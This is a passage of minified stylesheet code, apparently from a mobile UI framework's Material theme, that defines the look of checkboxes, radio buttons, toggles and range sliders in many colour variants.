center;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ffffff'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M9%2016.17L4.83%2012l-1.42%201.41L9%2019%2021%207l-1.41-1.41z'%2F%3E%3C%2Fsvg%3E");background-size:100% auto}.md .checkbox input[type=checkbox]:checked~i,.md label.item-checkbox input[type=checkbox]:checked~* .icon-checkbox,.md label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background-color:#2196f3;border-color:#2196f3}.md .checkbox input[type=checkbox]:checked~i:after,.md label.item-checkbox input[type=checkbox]:checked~* .icon-checkbox:after,.md label.item-checkbox input[type=checkbox]:checked~.icon-checkbox:after{opacity:1}.md label.item-checkbox{position:relative;overflow:hidden;z-index:0}.md label.item-checkbox>.icon-checkbox{margin-left:38px}.md label.item-checkbox .item-content .item-media,.md label.item-checkbox.item-content .item-media{-webkit-align-self:center;-ms-flex-item-align:center;align-self:center}.md label.item-checkbox.active-state{background-color:rgba(0,0,0,.1)}.md .theme-dark label.item-checkbox.active-state{background-color:rgba(255,255,255,.05)}.md .theme-dark .checkbox i,.md .theme-dark .icon-checkbox{border-color:rgba(255,255,255,.54)}.md .color-theme-red .checkbox input[type=checkbox]:checked~i,.md .color-theme-red label.item-checkbox input[type=checkbox]:checked~* .icon-checkbox,.md .color-theme-red label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background-color:#f44336;border-color:#f44336}.md .color-theme-red .checkbox .ripple-wave{background:rgba(244,67,54,.5)}.md .color-theme-green .checkbox input[type=checkbox]:checked~i,.md .color-theme-green label.item-checkbox input[type=checkbox]:checked~* .icon-checkbox,.md .color-theme-green label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background-color:#4caf50;border-color:#4caf50}.md .color-theme-green .checkbox .ripple-wave{background:rgba(76,175,80,.5)}.md .color-theme-blue .checkbox input[type=checkbox]:checked~i,.md .color-theme-blue label.item-checkbox input[type=checkbox]:checked~* .icon-checkbox,.md .color-theme-blue label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background-color:#2196f3;border-color:#2196f3}.md .color-theme-blue .checkbox .ripple-wave{background:rgba(33,150,243,.5)}.md .color-theme-pink .checkbox input[type=checkbox]:checked~i,.md .color-theme-pink label.item-checkbox input[type=checkbox]:checked~* .icon-checkbox,.md .color-theme-pink label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background-color:#e91e63;border-color:#e91e63}.md .color-theme-pink .checkbox .ripple-wave{background:rgba(233,30,99,.5)}.md .color-theme-yellow .checkbox input[type=checkbox]:checked~i,.md .color-theme-yellow label.item-checkbox input[type=checkbox]:checked~* .icon-checkbox,.md .color-theme-yellow label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background-color:#ffeb3b;border-color:#ffeb3b}.md .color-theme-yellow .checkbox .ripple-wave{background:rgba(255,235,59,.5)}.md .color-theme-orange .checkbox input[type=checkbox]:checked~i,.md .color-theme-orange label.item-checkbox input[type=checkbox]:checked~* .icon-checkbox,.md .color-theme-orange label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background-color:#ff9800;border-color:#ff9800}.md .color-theme-orange .checkbox .ripple-wave{background:rgba(255,152,0,.5)}.md .color-theme-gray .checkbox input[type=checkbox]:checked~i,.md .color-theme-gray label.item-checkbox input[type=checkbox]:checked~* .icon-checkbox,.md .color-theme-gray label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background-color:#9e9e9e;border-color:#9e9e9e}.md .color-theme-gray .checkbox .ripple-wave{background:rgba(158,158,158,.5)}.md .color-theme-white .checkbox input[type=checkbox]:checked~i,.md .color-theme-white label.item-checkbox input[type=checkbox]:checked~* .icon-checkbox,.md .color-theme-white label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background-color:#fff;border-color:#fff}.md .color-theme-white .checkbox .ripple-wave{background:rgba(255,255,255,.5)}.md .color-theme-black .checkbox input[type=checkbox]:checked~i,.md .color-theme-black label.item-checkbox input[type=checkbox]:checked~* .icon-checkbox,.md .color-theme-black label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background-color:#000;border-color:#000}.md .color-theme-black .checkbox .ripple-wave{background:rgba(0,0,0,.5)}.md .checkbox.color-red input[type=checkbox]:checked~i,.md label.item-checkbox.color-red input[type=checkbox]:checked~* .icon-checkbox,.md label.item-checkbox.color-red input[type=checkbox]:checked~.icon-checkbox{background-color:#f44336;border-color:#f44336}.md .checkbox.color-red .ripple-wave{background:rgba(244,67,54,.5)}.md .checkbox.color-green input[type=checkbox]:checked~i,.md label.item-checkbox.color-green input[type=checkbox]:checked~* .icon-checkbox,.md label.item-checkbox.color-green input[type=checkbox]:checked~.icon-checkbox{background-color:#4caf50;border-color:#4caf50}.md .checkbox.color-green .ripple-wave{background:rgba(76,175,80,.5)}.md .checkbox.color-blue input[type=checkbox]:checked~i,.md label.item-checkbox.color-blue input[type=checkbox]:checked~* .icon-checkbox,.md label.item-checkbox.color-blue input[type=checkbox]:checked~.icon-checkbox{background-color:#2196f3;border-color:#2196f3}.md .checkbox.color-blue .ripple-wave{background:rgba(33,150,243,.5)}.md .checkbox.color-pink input[type=checkbox]:checked~i,.md label.item-checkbox.color-pink input[type=checkbox]:checked~* .icon-checkbox,.md label.item-checkbox.color-pink input[type=checkbox]:checked~.icon-checkbox{background-color:#e91e63;border-color:#e91e63}.md .checkbox.color-pink .ripple-wave{background:rgba(233,30,99,.5)}.md .checkbox.color-yellow input[type=checkbox]:checked~i,.md label.item-checkbox.color-yellow input[type=checkbox]:checked~* .icon-checkbox,.md label.item-checkbox.color-yellow input[type=checkbox]:checked~.icon-checkbox{background-color:#ffeb3b;border-color:#ffeb3b}.md .checkbox.color-yellow .ripple-wave{background:rgba(255,235,59,.5)}.md .checkbox.color-orange input[type=checkbox]:checked~i,.md label.item-checkbox.color-orange input[type=checkbox]:checked~* .icon-checkbox,.md label.item-checkbox.color-orange input[type=checkbox]:checked~.icon-checkbox{background-color:#ff9800;border-color:#ff9800}.md .checkbox.color-orange .ripple-wave{background:rgba(255,152,0,.5)}.md .checkbox.color-gray input[type=checkbox]:checked~i,.md label.item-checkbox.color-gray input[type=checkbox]:checked~* .icon-checkbox,.md label.item-checkbox.color-gray input[type=checkbox]:checked~.icon-checkbox{background-color:#9e9e9e;border-color:#9e9e9e}.md .checkbox.color-gray .ripple-wave{background:rgba(158,158,158,.5)}.md .checkbox.color-white input[type=checkbox]:checked~i,.md label.item-checkbox.color-white input[type=checkbox]:checked~* .icon-checkbox,.md label.item-checkbox.color-white input[type=checkbox]:checked~.icon-checkbox{background-color:#fff;border-color:#fff}.md .checkbox.color-white .ripple-wave{background:rgba(255,255,255,.5)}.md .checkbox.color-black input[type=checkbox]:checked~i,.md label.item-checkbox.color-black input[type=checkbox]:checked~* .icon-checkbox,.md label.item-checkbox.color-black input[type=checkbox]:checked~.icon-checkbox{background-color:#000;border-color:#000}.md .checkbox.color-black .ripple-wave{background:rgba(0,0,0,.5)}.icon-radio{-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.radio{position:relative;display:inline-block;vertical-align:middle;z-index:1}.radio,label.item-radio{cursor:pointer}.radio input[type=checkbox],.radio input[type=radio],label.item-radio input[type=checkbox],label.item-radio input[type=radio]{display:none}.radio .icon-radio,label.item-radio .icon-radio{-webkit-box-sizing:border-box;box-sizing:border-box;position:relative;display:block}.radio .icon-radio:after,label.item-radio .icon-radio:after{content:'';position:absolute}label.item-radio{-webkit-transition-duration:.3s;transition-duration:.3s}label.item-radio.active-state:after{background-color:transparent}.disabled label.item-radio,label.item-radio.disabled{opacity:.55;pointer-events:none;opacity:.55!important;pointer-events:none!important}.md .icon-radio{width:20px;height:20px;position:relative;border-radius:50%;border:2px solid #6d6d6d;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-transition-duration:.2s;transition-duration:.2s;display:block}.md .icon-radio:after{content:'';position:absolute;width:10px;height:10px;left:50%;top:50%;margin-left:-5px;margin-top:-5px;background-color:#2196f3;border-radius:50%;-webkit-transform:scale(0);transform:scale(0);-webkit-transition-duration:.2s;transition-duration:.2s}.md .radio input[type=radio]:checked~.icon-radio,.md label.item-radio input[type=radio]:checked~* .icon-radio,.md label.item-radio input[type=radio]:checked~.icon-radio{border-color:#2196f3}.md .radio input[type=radio]:checked~.icon-radio:after,.md label.item-radio input[type=radio]:checked~* .icon-radio:after,.md label.item-radio input[type=radio]:checked~.icon-radio:after{background-color:#2196f3;-webkit-transform:scale(1);transform:scale(1)}.md label.item-radio{position:relative;overflow:hidden;z-index:0}.md label.item-radio>.icon-radio{margin-left:38px}.md label.item-radio .item-content .item-media,.md label.item-radio.item-content .item-media{-webkit-align-self:center;-ms-flex-item-align:center;align-self:center}.md label.item-radio.active-state{background-color:rgba(0,0,0,.1)}.md .theme-dark label.item-radio.active-state{background-color:rgba(255,255,255,.05)}.md .theme-dark .icon-radio{border-color:rgba(255,255,255,.54)}.md .color-theme-red .icon-radio:after{background-color:#f44336}.md .color-theme-red .radio input[type=radio]:checked~.icon-radio,.md .color-theme-red label.item-radio input[type=radio]:checked~* .icon-radio,.md .color-theme-red label.item-radio input[type=radio]:checked~.icon-radio{border-color:#f44336}.md .color-theme-red .radio input[type=radio]:checked~.icon-radio:after,.md .color-theme-red label.item-radio input[type=radio]:checked~* .icon-radio:after,.md .color-theme-red label.item-radio input[type=radio]:checked~.icon-radio:after{background-color:#f44336}.md .color-theme-red .radio .ripple-wave{background:rgba(244,67,54,.5)}.md .color-theme-green .icon-radio:after{background-color:#4caf50}.md .color-theme-green .radio input[type=radio]:checked~.icon-radio,.md .color-theme-green label.item-radio input[type=radio]:checked~* .icon-radio,.md .color-theme-green label.item-radio input[type=radio]:checked~.icon-radio{border-color:#4caf50}.md .color-theme-green .radio input[type=radio]:checked~.icon-radio:after,.md .color-theme-green label.item-radio input[type=radio]:checked~* .icon-radio:after,.md .color-theme-green label.item-radio input[type=radio]:checked~.icon-radio:after{background-color:#4caf50}.md .color-theme-green .radio .ripple-wave{background:rgba(76,175,80,.5)}.md .color-theme-blue .icon-radio:after{background-color:#2196f3}.md .color-theme-blue .radio input[type=radio]:checked~.icon-radio,.md .color-theme-blue label.item-radio input[type=radio]:checked~* .icon-radio,.md .color-theme-blue label.item-radio input[type=radio]:checked~.icon-radio{border-color:#2196f3}.md .color-theme-blue .radio input[type=radio]:checked~.icon-radio:after,.md .color-theme-blue label.item-radio input[type=radio]:checked~* .icon-radio:after,.md .color-theme-blue label.item-radio input[type=radio]:checked~.icon-radio:after{background-color:#2196f3}.md .color-theme-blue .radio .ripple-wave{background:rgba(33,150,243,.5)}.md .color-theme-pink .icon-radio:after{background-color:#e91e63}.md .color-theme-pink .radio input[type=radio]:checked~.icon-radio,.md .color-theme-pink label.item-radio input[type=radio]:checked~* .icon-radio,.md .color-theme-pink label.item-radio input[type=radio]:checked~.icon-radio{border-color:#e91e63}.md .color-theme-pink .radio input[type=radio]:checked~.icon-radio:after,.md .color-theme-pink label.item-radio input[type=radio]:checked~* .icon-radio:after,.md .color-theme-pink label.item-radio input[type=radio]:checked~.icon-radio:after{background-color:#e91e63}.md .color-theme-pink .radio .ripple-wave{background:rgba(233,30,99,.5)}.md .color-theme-yellow .icon-radio:after{background-color:#ffeb3b}.md .color-theme-yellow .radio input[type=radio]:checked~.icon-radio,.md .color-theme-yellow label.item-radio input[type=radio]:checked~* .icon-radio,.md .color-theme-yellow label.item-radio input[type=radio]:checked~.icon-radio{border-color:#ffeb3b}.md .color-theme-yellow .radio input[type=radio]:checked~.icon-radio:after,.md .color-theme-yellow label.item-radio input[type=radio]:checked~* .icon-radio:after,.md .color-theme-yellow label.item-radio input[type=radio]:checked~.icon-radio:after{background-color:#ffeb3b}.md .color-theme-yellow .radio .ripple-wave{background:rgba(255,235,59,.5)}.md .color-theme-orange .icon-radio:after{background-color:#ff9800}.md .color-theme-orange .radio input[type=radio]:checked~.icon-radio,.md .color-theme-orange label.item-radio input[type=radio]:checked~* .icon-radio,.md .color-theme-orange label.item-radio input[type=radio]:checked~.icon-radio{border-color:#ff9800}.md .color-theme-orange .radio input[type=radio]:checked~.icon-radio:after,.md .color-theme-orange label.item-radio input[type=radio]:checked~* .icon-radio:after,.md .color-theme-orange label.item-radio input[type=radio]:checked~.icon-radio:after{background-color:#ff9800}.md .color-theme-orange .radio .ripple-wave{background:rgba(255,152,0,.5)}.md .color-theme-gray .icon-radio:after{background-color:#9e9e9e}.md .color-theme-gray .radio input[type=radio]:checked~.icon-radio,.md .color-theme-gray label.item-radio input[type=radio]:checked~* .icon-radio,.md .color-theme-gray label.item-radio input[type=radio]:checked~.icon-radio{border-color:#9e9e9e}.md .color-theme-gray .radio input[type=radio]:checked~.icon-radio:after,.md .color-theme-gray label.item-radio input[type=radio]:checked~* .icon-radio:after,.md .color-theme-gray label.item-radio input[type=radio]:checked~.icon-radio:after{background-color:#9e9e9e}.md .color-theme-gray .radio .ripple-wave{background:rgba(158,158,158,.5)}.md .color-theme-white .icon-radio:after{background-color:#fff}.md .color-theme-white .radio input[type=radio]:checked~.icon-radio,.md .color-theme-white label.item-radio input[type=radio]:checked~* .icon-radio,.md .color-theme-white label.item-radio input[type=radio]:checked~.icon-radio{border-color:#fff}.md .color-theme-white .radio input[type=radio]:checked~.icon-radio:after,.md .color-theme-white label.item-radio input[type=radio]:checked~* .icon-radio:after,.md .color-theme-white label.item-radio input[type=radio]:checked~.icon-radio:after{background-color:#fff}.md .color-theme-white .radio .ripple-wave{background:rgba(255,255,255,.5)}.md .color-theme-black .icon-radio:after{background-color:#000}.md .color-theme-black .radio input[type=radio]:checked~.icon-radio,.md .color-theme-black label.item-radio input[type=radio]:checked~* .icon-radio,.md .color-theme-black label.item-radio input[type=radio]:checked~.icon-radio{border-color:#000}.md .color-theme-black .radio input[type=radio]:checked~.icon-radio:after,.md .color-theme-black label.item-radio input[type=radio]:checked~* .icon-radio:after,.md .color-theme-black label.item-radio input[type=radio]:checked~.icon-radio:after{background-color:#000}.md .color-theme-black .radio .ripple-wave{background:rgba(0,0,0,.5)}.md .radio.color-red .icon-radio:after{background-color:#f44336}.md .radio.color-red input[type=radio]:checked~.icon-radio,.md label.item-radio.color-red input[type=radio]:checked~* .icon-radio,.md label.item-radio.color-red input[type=radio]:checked~.icon-radio{border-color:#f44336}.md .radio.color-red input[type=radio]:checked~.icon-radio:after,.md label.item-radio.color-red input[type=radio]:checked~* .icon-radio:after,.md label.item-radio.color-red input[type=radio]:checked~.icon-radio:after{background-color:#f44336}.md .radio.color-red .ripple-wave{background:rgba(244,67,54,.5)}.md .radio.color-green .icon-radio:after{background-color:#4caf50}.md .radio.color-green input[type=radio]:checked~.icon-radio,.md label.item-radio.color-green input[type=radio]:checked~* .icon-radio,.md label.item-radio.color-green input[type=radio]:checked~.icon-radio{border-color:#4caf50}.md .radio.color-green input[type=radio]:checked~.icon-radio:after,.md label.item-radio.color-green input[type=radio]:checked~* .icon-radio:after,.md label.item-radio.color-green input[type=radio]:checked~.icon-radio:after{background-color:#4caf50}.md .radio.color-green .ripple-wave{background:rgba(76,175,80,.5)}.md .radio.color-blue .icon-radio:after{background-color:#2196f3}.md .radio.color-blue input[type=radio]:checked~.icon-radio,.md label.item-radio.color-blue input[type=radio]:checked~* .icon-radio,.md label.item-radio.color-blue input[type=radio]:checked~.icon-radio{border-color:#2196f3}.md .radio.color-blue input[type=radio]:checked~.icon-radio:after,.md label.item-radio.color-blue input[type=radio]:checked~* .icon-radio:after,.md label.item-radio.color-blue input[type=radio]:checked~.icon-radio:after{background-color:#2196f3}.md .radio.color-blue .ripple-wave{background:rgba(33,150,243,.5)}.md .radio.color-pink .icon-radio:after{background-color:#e91e63}.md .radio.color-pink input[type=radio]:checked~.icon-radio,.md label.item-radio.color-pink input[type=radio]:checked~* .icon-radio,.md label.item-radio.color-pink input[type=radio]:checked~.icon-radio{border-color:#e91e63}.md .radio.color-pink input[type=radio]:checked~.icon-radio:after,.md label.item-radio.color-pink input[type=radio]:checked~* .icon-radio:after,.md label.item-radio.color-pink input[type=radio]:checked~.icon-radio:after{background-color:#e91e63}.md .radio.color-pink .ripple-wave{background:rgba(233,30,99,.5)}.md .radio.color-yellow .icon-radio:after{background-color:#ffeb3b}.md .radio.color-yellow input[type=radio]:checked~.icon-radio,.md label.item-radio.color-yellow input[type=radio]:checked~* .icon-radio,.md label.item-radio.color-yellow input[type=radio]:checked~.icon-radio{border-color:#ffeb3b}.md .radio.color-yellow input[type=radio]:checked~.icon-radio:after,.md label.item-radio.color-yellow input[type=radio]:checked~* .icon-radio:after,.md label.item-radio.color-yellow input[type=radio]:checked~.icon-radio:after{background-color:#ffeb3b}.md .radio.color-yellow .ripple-wave{background:rgba(255,235,59,.5)}.md .radio.color-orange .icon-radio:after{background-color:#ff9800}.md .radio.color-orange input[type=radio]:checked~.icon-radio,.md label.item-radio.color-orange input[type=radio]:checked~* .icon-radio,.md label.item-radio.color-orange input[type=radio]:checked~.icon-radio{border-color:#ff9800}.md .radio.color-orange input[type=radio]:checked~.icon-radio:after,.md label.item-radio.color-orange input[type=radio]:checked~* .icon-radio:after,.md label.item-radio.color-orange input[type=radio]:checked~.icon-radio:after{background-color:#ff9800}.md .radio.color-orange .ripple-wave{background:rgba(255,152,0,.5)}.md .radio.color-gray .icon-radio:after{background-color:#9e9e9e}.md .radio.color-gray input[type=radio]:checked~.icon-radio,.md label.item-radio.color-gray input[type=radio]:checked~* .icon-radio,.md label.item-radio.color-gray input[type=radio]:checked~.icon-radio{border-color:#9e9e9e}.md .radio.color-gray input[type=radio]:checked~.icon-radio:after,.md label.item-radio.color-gray input[type=radio]:checked~* .icon-radio:after,.md label.item-radio.color-gray input[type=radio]:checked~.icon-radio:after{background-color:#9e9e9e}.md .radio.color-gray .ripple-wave{background:rgba(158,158,158,.5)}.md .radio.color-white .icon-radio:after{background-color:#fff}.md .radio.color-white input[type=radio]:checked~.icon-radio,.md label.item-radio.color-white input[type=radio]:checked~* .icon-radio,.md label.item-radio.color-white input[type=radio]:checked~.icon-radio{border-color:#fff}.md .radio.color-white input[type=radio]:checked~.icon-radio:after,.md label.item-radio.color-white input[type=radio]:checked~* .icon-radio:after,.md label.item-radio.color-white input[type=radio]:checked~.icon-radio:after{background-color:#fff}.md .radio.color-white .ripple-wave{background:rgba(255,255,255,.5)}.md .radio.color-black .icon-radio:after{background-color:#000}.md .radio.color-black input[type=radio]:checked~.icon-radio,.md label.item-radio.color-black input[type=radio]:checked~* .icon-radio,.md label.item-radio.color-black input[type=radio]:checked~.icon-radio{border-color:#000}.md .radio.color-black input[type=radio]:checked~.icon-radio:after,.md label.item-radio.color-black input[type=radio]:checked~* .icon-radio:after,.md label.item-radio.color-black input[type=radio]:checked~.icon-radio:after{background-color:#000}.md .radio.color-black .ripple-wave{background:rgba(0,0,0,.5)}.toggle{display:inline-block;vertical-align:middle;position:relative;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-align-self:center;-ms-flex-item-align:center;align-self:center;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.toggle input[type=checkbox]{display:none}.toggle input[disabled]~.toggle-icon{pointer-events:none}.toggle-icon{z-index:0;margin:0;padding:0;-webkit-appearance:none;-moz-appearance:none;appearance:none;border:none;position:relative;-webkit-transition:.3s;transition:.3s;-webkit-box-sizing:border-box;box-sizing:border-box;display:block;cursor:pointer}.toggle-icon:after,.toggle-icon:before{content:''}.toggle-icon:after{background:#fff;position:absolute;z-index:2;-webkit-transform:translateX(0);transform:translateX(0);-webkit-transition-duration:.3s;transition-duration:.3s}.md .toggle{width:36px;height:14px}.md .toggle input[type=checkbox]:checked+.toggle-icon{background:rgba(33,150,243,.5)}.md .toggle input[type=checkbox]:checked+.toggle-icon:after{-webkit-transform:translateX(-16px);transform:translateX(-16px);background:#2196f3}.md .toggle-icon{width:36px;height:14px;border-radius:14px;background:#b0afaf}.md .toggle-icon:after{height:20px;width:20px;top:-3px;-webkit-box-shadow:0 2px 5px rgba(0,0,0,.4);box-shadow:0 2px 5px rgba(0,0,0,.4);border-radius:10px;right:0}.md .color-theme-red .toggle input[type=checkbox]:checked+.toggle-icon{background:rgba(244,67,54,.5)}.md .color-theme-red .toggle input[type=checkbox]:checked+.toggle-icon:after{background:#f44336}.md .color-theme-green .toggle input[type=checkbox]:checked+.toggle-icon{background:rgba(76,175,80,.5)}.md .color-theme-green .toggle input[type=checkbox]:checked+.toggle-icon:after{background:#4caf50}.md .color-theme-blue .toggle input[type=checkbox]:checked+.toggle-icon{background:rgba(33,150,243,.5)}.md .color-theme-blue .toggle input[type=checkbox]:checked+.toggle-icon:after{background:#2196f3}.md .color-theme-pink .toggle input[type=checkbox]:checked+.toggle-icon{background:rgba(233,30,99,.5)}.md .color-theme-pink .toggle input[type=checkbox]:checked+.toggle-icon:after{background:#e91e63}.md .color-theme-yellow .toggle input[type=checkbox]:checked+.toggle-icon{background:rgba(255,235,59,.5)}.md .color-theme-yellow .toggle input[type=checkbox]:checked+.toggle-icon:after{background:#ffeb3b}.md .color-theme-orange .toggle input[type=checkbox]:checked+.toggle-icon{background:rgba(255,152,0,.5)}.md .color-theme-orange .toggle input[type=checkbox]:checked+.toggle-icon:after{background:#ff9800}.md .color-theme-gray .toggle input[type=checkbox]:checked+.toggle-icon{background:rgba(158,158,158,.5)}.md .color-theme-gray .toggle input[type=checkbox]:checked+.toggle-icon:after{background:#9e9e9e}.md .color-theme-white .toggle input[type=checkbox]:checked+.toggle-icon{background:rgba(255,255,255,.5)}.md .color-theme-white .toggle input[type=checkbox]:checked+.toggle-icon:after{background:#fff}.md .color-theme-black .toggle input[type=checkbox]:checked+.toggle-icon{background:rgba(0,0,0,.5)}.md .color-theme-black .toggle input[type=checkbox]:checked+.toggle-icon:after{background:#000}.md .toggle.color-red input[type=checkbox]:checked+.toggle-icon{background:rgba(244,67,54,.5)}.md .toggle.color-red input[type=checkbox]:checked+.toggle-icon:after{background:#f44336}.md .toggle.color-green input[type=checkbox]:checked+.toggle-icon{background:rgba(76,175,80,.5)}.md .toggle.color-green input[type=checkbox]:checked+.toggle-icon:after{background:#4caf50}.md .toggle.color-blue input[type=checkbox]:checked+.toggle-icon{background:rgba(33,150,243,.5)}.md .toggle.color-blue input[type=checkbox]:checked+.toggle-icon:after{background:#2196f3}.md .toggle.color-pink input[type=checkbox]:checked+.toggle-icon{background:rgba(233,30,99,.5)}.md .toggle.color-pink input[type=checkbox]:checked+.toggle-icon:after{background:#e91e63}.md .toggle.color-yellow input[type=checkbox]:checked+.toggle-icon{background:rgba(255,235,59,.5)}.md .toggle.color-yellow input[type=checkbox]:checked+.toggle-icon:after{background:#ffeb3b}.md .toggle.color-orange input[type=checkbox]:checked+.toggle-icon{background:rgba(255,152,0,.5)}.md .toggle.color-orange input[type=checkbox]:checked+.toggle-icon:after{background:#ff9800}.md .toggle.color-gray input[type=checkbox]:checked+.toggle-icon{background:rgba(158,158,158,.5)}.md .toggle.color-gray input[type=checkbox]:checked+.toggle-icon:after{background:#9e9e9e}.md .toggle.color-white input[type=checkbox]:checked+.toggle-icon{background:rgba(255,255,255,.5)}.md .toggle.color-white input[type=checkbox]:checked+.toggle-icon:after{background:#fff}.md .toggle.color-black input[type=checkbox]:checked+.toggle-icon{background:rgba(0,0,0,.5)}.md .toggle.color-black input[type=checkbox]:checked+.toggle-icon:after{background:#000}.range-slider{display:block;width:100%;position:relative;-webkit-align-self:center;-ms-flex-item-align:center;align-self:center;cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.range-slider input[type=range]{display:none}.range-bar{position:absolute;left:0;top:50%;width:100%;overflow:hidden}.range-bar-active{position:absolute;right:0;top:0;height:100%}.range-knob-wrap{z-index:20;position:absolute;top:50%;right:0}.range-knob{-webkit-box-sizing:border-box;box-sizing:border-box;border-radius:50%;position:absolute;left:0;top:0;width:100%;height:100%;z-index:1}.range-knob:after{content:'';position:absolute;left:50%;top:50%;width:44px;height:44px;margin-left:-22px;margin-top:-22px}.range-knob-label{position:absolute;left:50%;bottom:100%;text-align:center;-webkit-transition-duration:120ms;transition-duration:120ms;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform;-webkit-transform:translateY(100%) scale(0);transform:translateY(100%) scale(0)}.range-knob-active-state .range-knob-label{-webkit-transform:translateY(0) scale(1);transform:translateY(0) scale(1)}.md .range-slider{height:20px}.md .range-bar{background:#b9b9b9;height:2px;margin-top:-1px}.md .range-bar-active{background:#2196f3}.md .range-knob-wrap{height:12px;width:12px;margin-top:-6px;margin-right:-6px}.md .range-knob{background:#2196f3;-webkit-transition-duration:.2s;transition-duration:.2s;-webkit-transition-property:background-color,-webkit-transform;transition-property:background-color,-webkit-transform;transition-property:transform,background-color;transition-property:transform,background-color,-webkit-transform}.md .range-knob-active-state .range-knob{-webkit-transform:scale(1.5);transform:scale(1.5)}.md .range-slider-min:not(.range-slider-dual) .range-knob{background:#fff!important;border:2px solid #b9b9b9}.md .range-knob-label{width:26px;height:26px;margin-left:-13px;margin-bottom:8px;background:#2196f3;color:#fff;font-size:10px;border-radius:50%;line-height:26px}.md .range-knob-label:before{content:'';left:50%;top:0;margin-left:-13px;position:absolute;z-index:-1;width:26px;height:26px;background:#2196f3;-webkit-transform:rotate(-45deg);transform:rotate(-45deg);border-radius:50% 50% 50% 0}.md .range-knob-active-state .range-knob-label{-webkit-transform:translateY(0) scale(1);transform:translateY(0) scale(1)}.md .range-slider-label .range-knob-active-state .range-knob{-webkit-transform:scale(0);transform:scale(0)}.md .color-theme-red .range-slider .range-bar-active,.md .color-theme-red .range-slider .range-knob,.md .color-theme-red .range-slider .range-knob-label,.md .color-theme-red .range-slider .range-knob-label:before{background-color:#f44336}.md .color-theme-green .range-slider .range-bar-active,.md .color-theme-green .range-slider .range-knob,.md .color-theme-green .range-slider .range-knob-label,.md .color-theme-green .range-slider .range-knob-label:before{background-color:#4caf50}.md .color-theme-blue .range-slider .range-bar-active,.md .color-theme-blue .range-slider .range-knob,.md .color-theme-blue .range-slider .range-knob-label,.md .color-theme-blue .range-slider .range-knob-label:before{background-color:#2196f3}.md .color-theme-pink .range-slider .range-bar-active,.md .color-theme-pink .range-slider .range-knob,.md .color-theme-pink .range-slider .range-knob-label,.md .color-theme-pink .range-slider .range-knob-label:before{background-color:#e91e63}.md .color-theme-yellow .range-slider .range-bar-active,.md .color-theme-yellow .range-slider .range-knob,.md .color-theme-yellow .range-slider .range-knob-label,.md .color-theme-yellow .range-slider .range-knob-label:before{background-color:#ffeb3b}.md .color-theme-orange .range-slider .range-bar-active,.md .color-theme-orange .range-slider .range-knob,.md .color-theme-orange .range-slider .range-knob-label,.md .color-theme-orange .range-slider .range-knob-label:before{background-color:#ff9800}.md .color-theme-gray .range-slider .range-bar-active,.md .color-theme-gray .range-slider .range-knob,.md .color-theme-gray .range-slider .range-knob-label,.md .color-theme-gray .range-slider .range-knob-label:before{background-color:#9e9e9e}.md .color-theme-white .range-slider .range-bar-active,.md .color-theme-white .range-slider .range-knob,.md .color-theme-white .range-slider .range-knob-label,.md .color-theme-white .range-slider .range-knob-label:before{background-color:#fff}.md .color-theme-black .range-slider .range-bar-active,.md .color-theme-black .range-slider .range-knob,.md .color-theme-black .range-slider .range-knob-label,.md .color-theme-black .range-slider .range-knob-label:before{background-color:#000}.md .range-slider.color-red .range-bar-active,.md .range-slider.color-red .range-knob,.md .range-slider.color-red .range-knob-label,.md .range-slider.color-red .range-knob-label:before{background-color:#f44336}.md .range-slider.color-green .range-bar-active,.md .range-slider.color-green .range-knob,.md .range-slider.color-green .range-knob-label,.md .range-slider.color-green .range-knob-label:before{background-color:#4caf50}.md .range-slider.color-blue .range-bar-active,.md .range-slider.color-blue .range-knob,.md .range-slider.color-blue .range-knob-label,.md .range-slider.color-blue .range-knob-label:before{background-color:#2196f3}.md .range-slider.color-pink .range-bar-active,.md .range-slider.color-pink .range-knob,.md .range-slider.color-pink .range-knob-label,.md .range-slider.color-pink .range-knob-label:before{background-color:#e91e63}.md .range-slider.color-yellow .range-bar-active,.md .range-slider.color-yellow .range-knob,.md .range-slider.color-yellow .range-knob-label,.md .range-slider.color-yellow .range-knob-label:before{background-color:#ffeb3b}.md .range-slider.color-orange .range-bar-active,.md .range-slider.color-orange .range-knob,.md .range-slider.color-orange .range-knob-label,.md .range-slider.color-orange .range-knob-label:before{background-color:#ff9800}.md .range-slider.color-gray .range-bar-active,.md .range-slider.color-gray .range-knob,.md .range-slider.color-gray .range-knob-label,.md .range-slider.color-gray .range-knob-label:before{background-color:#9e9e9e}.md .range-slider.color-white .range-bar-active,.md .range-slider.color-white .range-knob,.md .range-slider.color-white .range-knob-label,.md .range-slider.color-white .range-knob-label:before{background-color:#fff}.md .range-slider.color-black .range-bar-active,.md .range-slider.color-black .range-knob,.md .range-slider.color-black .range-knob-label,.md .range-slider.color-black 